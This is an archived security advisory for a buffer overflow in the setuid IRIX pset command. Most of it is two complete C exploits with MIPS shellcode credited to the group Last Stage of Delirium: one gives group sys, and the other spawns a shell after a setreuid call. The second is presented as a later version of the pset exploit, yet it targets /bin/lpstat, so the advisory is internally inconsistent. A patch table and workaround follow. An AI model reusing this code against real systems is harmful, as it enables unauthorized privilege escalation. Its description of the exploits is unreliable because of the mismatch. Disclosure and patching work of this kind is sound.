COMMAND

    /sbin/pset

SYSTEMS AFFECTED

    IRIX 5.x, 6.0.x, 6.1, 6.2, 6.3

PROBLEM

    pset(1M)  is  a  program  used  to  display and modify information
    concerning the use of processor  sets in the current system.   The
    pset command is  used on multi-processor  systems to restrict  the
    execution of different classes of jobs.

    Below is  exploit code  for buffer  overflow.   Originally it  was
    written by Polish group LsD.  Exploit follows:

    /* copyright by */
    /* Last Stage of Delirium, Dec 1996, Poland*/

    /* This one gives you egid=0(sys) */

    #include <stdio.h>
    #include <stdlib.h>
    #include <fcntl.h>

    #define BUFSIZE 4172
    #define OFFS 816
    #define ADDRS 8
    #define ALIGN 3
    #define ALIGN2 1

    char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
    /*
    char nop[]="\x24\x0f\x12\x34";
    */
    char nop[]="\x01\x20\x48\x25";

    void run(unsigned char *buf) {
      execl("/sbin/pset","lsd","-s","666",buf,NULL);
      printf("execl failed\n");
    }

    char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34";

    /*
    unsigned long get_sp(void) {
    __asm__("or     $2,$sp,$0");
    }
    */
    main(int argc, char *argv[]) {
      char *buf, *ptr, addr[8];
      int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
      int i, noplen=strlen(nop);

      if (argc >1) bufsize=atoi(argv[1]);
      if (argc >2) offs=atoi(argv[2]);
      if (argc >3) addrs=atoi(argv[3]);
      if (argc >4) align=atoi(argv[4]);

      if (bufsize<strlen(asmcode)) {
        printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
        exit(1);
      }
      if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
        printf("Can't malloc\n");
        exit(1);
      }

      *(int *)addr=(*(unsigned long(*)())jump)()+offs;
      printf("address=%p\n", *(int *)addr);

      strcpy(buf,nop);
      ptr=buf+noplen;
      buf+=align;
      for(i=0;i<bufsize;i++)
       *ptr++=nop[i%noplen];
      memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
      for(i=0;i<ALIGN2;i++)
       *ptr++=nop[i%noplen];
      for(i=0;i<(addrs<<2);i++)
       *ptr++=addr[i%sizeof(int)];
      *ptr=0;
      printf("buflen=%d\n", strlen(buf));
      fflush(stdout);

      run(buf);
    }

    This code changed later:

    /*## copyright LAST STAGE OF DELIRIUM nov 1998 poland        *://lsd-pl.net/ #*/
    /*## /bin/lpstat                                                             #*/
    
    #define NOPNUM 468
    #define ADRNUM 300
    #define PCHNUM 300
    
    char setreuidcode[]=
        "\x30\x0b\xff\xff"    /* andi    $t3,$zero,0xffff     */
        "\x24\x02\x04\x01"    /* li      $v0,1024+1           */
        "\x20\x42\xff\xff"    /* addi    $v0,$v0,-1           */
        "\x03\xff\xff\xcc"    /* syscall                      */
        "\x30\x44\xff\xff"    /* andi    $a0,$v0,0xffff       */
        "\x31\x65\xff\xff"    /* andi    $a1,$t3,0xffff       */
        "\x24\x02\x04\x64"    /* li      $v0,1124             */
        "\x03\xff\xff\xcc"    /* syscall                      */
    ;
    
    char shellcode[]=
        "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
        "\x24\x02\x03\xf3"    /* li      $v0,1011             */
        "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
        "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
        "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
        "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
        "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
        "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
        "\x03\xff\xff\xcc"    /* syscall                      */
        "/bin/sh"
    ;
    
    char jump[]=
        "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
        "\x03\xe0\x00\x08"    /* jr      $ra                  */
    ;
    
    char nop[]="\x24\x0f\x12\x34";
    
    main(int argc,char **argv){
        char buffer[10000],adr[4],pch[4],*b;
        int i;
    
        printf("copyright LAST STAGE OF DELIRIUM nov 1998 poland  //lsd-pl.net/\n");
        printf("/bin/lpstat for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n");
    
        *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8888+1364+140-15012;
        *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+8888+140+544+32748;
    
        b=buffer;
        *b++=0xff;
        for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
        for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];
        for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
        for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
        for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
        *b=0;
    
        execl("/bin/lpstat","lsd","-n",buffer,0);
    }

SOLUTION


    IRIX 6.4 does not have the pset(1M) program.  Temporary fix should
    be removal of suid bit.  Apply following patches:

        OS Version     Vulnerable?     Patch #
        ----------     -----------     -------
        IRIX 3.x          no           upgrade
        IRIX 4.x          no           upgrade
        IRIX 5.0.x        yes          upgrade
        IRIX 5.1.x        yes          upgrade
        IRIX 5.2          yes          upgrade
        IRIX 5.3          yes          2176
        IRIX 6.0.x        yes          upgrade
        IRIX 6.1          yes          upgrade
        IRIX 6.2          yes          2459
        IRIX 6.3          yes          2792
        IRIX 6.4          no

    Patches are available via  anonymous FTP and your  service/support
    provider.   The   SGI  anonymous  FTP   site  is   sgigate.sgi.com
    (204.94.209.1) or its mirror, ftp.sgi.com.